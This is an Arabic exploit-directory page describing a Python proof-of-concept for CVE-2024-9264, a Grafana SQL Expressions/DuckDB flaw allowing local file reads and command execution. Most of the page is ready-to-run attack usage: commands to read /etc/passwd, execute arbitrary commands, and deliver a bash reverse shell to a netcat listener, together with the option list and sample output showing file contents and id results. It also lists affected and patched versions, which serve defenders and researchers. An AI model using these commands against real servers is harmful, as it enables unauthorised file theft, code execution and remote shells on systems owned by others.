Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ozcanpng/cve-2024-9264
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليم
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

عرض المستودع
منذ 29 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-9264 - إثبات المفهوم لثغرة Grafana SQL Expressions DuckDB LFI/RCE

إثبات مفهوم مكتوب بلغة Python لثغرة CVE-2024-9264، وهي ثغرة في Grafana SQL Expressions يمكن أن تسمح للمستخدمين المصادق عليهم بتضمين ملفات محليًا وتنفيذ أوامر عندما يكون duckdb متاحًا في PATH الخاص بعملية Grafana.

للاستخدام المصرح به في الاختبارات والأبحاث فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.


ماذا يفعل

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. يرسل طلبًا مصادقًا إلى نقطة نهاية الاستعلام الخاصة بمصدر بيانات SQL Expressions في Grafana.
  2. يقرأ الملفات باستخدام DuckDB عبر read_blob(). وإذا كان تنفيذ الأوامر مطلوبًا، يُستخدم /etc/passwd أولاً كملف تحقق افتراضي.
  3. يحمّل اختياريًا shellfs من DuckDB وينفّذ أمرًا عبر استدعاء read_csv() مدعوم بأنبوب.
  4. يقرأ مخرجات الأمر من /tmp/cve_2024_9264_out ويطبع النتيجة المفكوك ترميزها.

يمكن استدعاء نقطة النهاية المستضعفة مباشرةً عبر API؛ ولا يلزم أي تفاعل مع واجهة لوحة المعلومات (dashboard). ومع ذلك، لا تزال المصادقة مطلوبة.


لقطات الشاشة

تنفيذ الأوامر

إثبات تنفيذ الأوامر

حمولة الصدفة العكسية

تسليم حمولة الصدفة العكسية

مستمع الصدفة العكسية

مستمع الصدفة العكسية


الإعداد

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

الاستخدام

قراءة ملف

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

عند استخدام --file بمفرده، يقرأ البرنامج النصي ذلك الملف مباشرةً ويطبع المحتوى المفكوك ترميزه في قسم نتيجة قراءة الملف.

تنفيذ الأوامر

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

ينفذ البرنامج النصي أولاً تحققًا افتراضيًا بقراءة ملف /etc/passwd، ثم يرسل حمولة الأمر. وفي قسم النتيجة يطبع مخرجات الأمر المفكوك ترميزها بدلاً من استجابة Grafana JSON الخام.

الصدفة العكسية

شغّل مستمعًا:

root@kitploit:~
rlwrap nc -lvnp 4444

أرسل حمولة الصدفة العكسية:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

التشغيل التجريبي

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

التصحيح

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

الخيارات

تعتمد هذه الخيارات على واجهة سطر الأوامر الحالية للبرنامج النصي:

root@kitploit:~
-u, --url, --target TARGET
                        Target URL, e.g. http://localhost:3000
--username USERNAME     Grafana username. Default: admin
--password PASSWORD     Grafana password. Default: admin
--file FILE             File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
                        Marker expected in file read response. Default: root:
--cmd CMD               Command to execute through the DuckDB shellfs path
--reverse-shell         Run a bash reverse shell payload
--lhost LHOST           Listener host for --reverse-shell
--lport LPORT           Listener port for --reverse-shell
--timeout TIMEOUT       HTTP timeout in seconds. Default: 20
--verify-tls            Verify TLS certificates. Default: enabled
-k, --insecure          Disable TLS certificate verification
--dry-run               Print target and payload metadata without sending requests
--debug                 Print request debugging metadata

مثال على المخرجات

قراءة ملف

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

تنفيذ الأوامر

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

الإصدارات المتأثرة

المنتجالإصدار المتأثرالصلاحية المطلوبةالتأثير
Grafana OSS / EnterpriseGrafana 11.0.x و11.1.x و11.2.x قبل الإصدارات الأمنية المصححةViewer أو أعلىتضمين ملفات محلي وحقن أوامر عند وجود DuckDB في PATH الخاص بـ Grafana

تشير Grafana إلى أن استغلال الثغرة يتطلب وجود ثنائي duckdb في PATH الخاص بعملية Grafana؛ ولا تقوم توزيعات Grafana العادية بتثبيت DuckDB افتراضيًا.


ملاحظات

  • يلزم توفّر بيانات اعتماد Grafana صالحة.
  • يجب أن يمتلك الحساب صلاحيات Viewer أو أعلى.
  • استغلال الثغرة مباشرةً عبر API لا يعني استغلالًا بدون مصادقة؛ فلا تزال الطلبات تحتاج إلى جلسة صالحة أو بيانات اعتماد Basic Auth.
  • تُستخدم قراءة الملف كخطوة تحقق أولى قبل تنفيذ الأوامر.
  • يعتمد تنفيذ الأوامر على DuckDB وسلوك إضافة shellfs في البيئة الهدف.
  • بالنسبة لأهداف TLS التي تستخدم شهادات موقعة ذاتيًا، مرّر -k أو --insecure.
  • تشمل الإصدارات الأمنية المصححة Grafana 11.0.5+security-01 و11.1.6+security-01 و11.2.1+security-01 و11.0.6+security-01 و11.1.7+security-01 و11.2.2+security-01.

المراجع

  • نشرة Grafana الأمنية - CVE-2024-9264
  • مدونة الإصدار الأمني من Grafana
  • NVD - CVE-2024-9264

المؤلف

ozcanpng - github.com/ozcanpng - ozcanpng.dev

تنزيل الأداة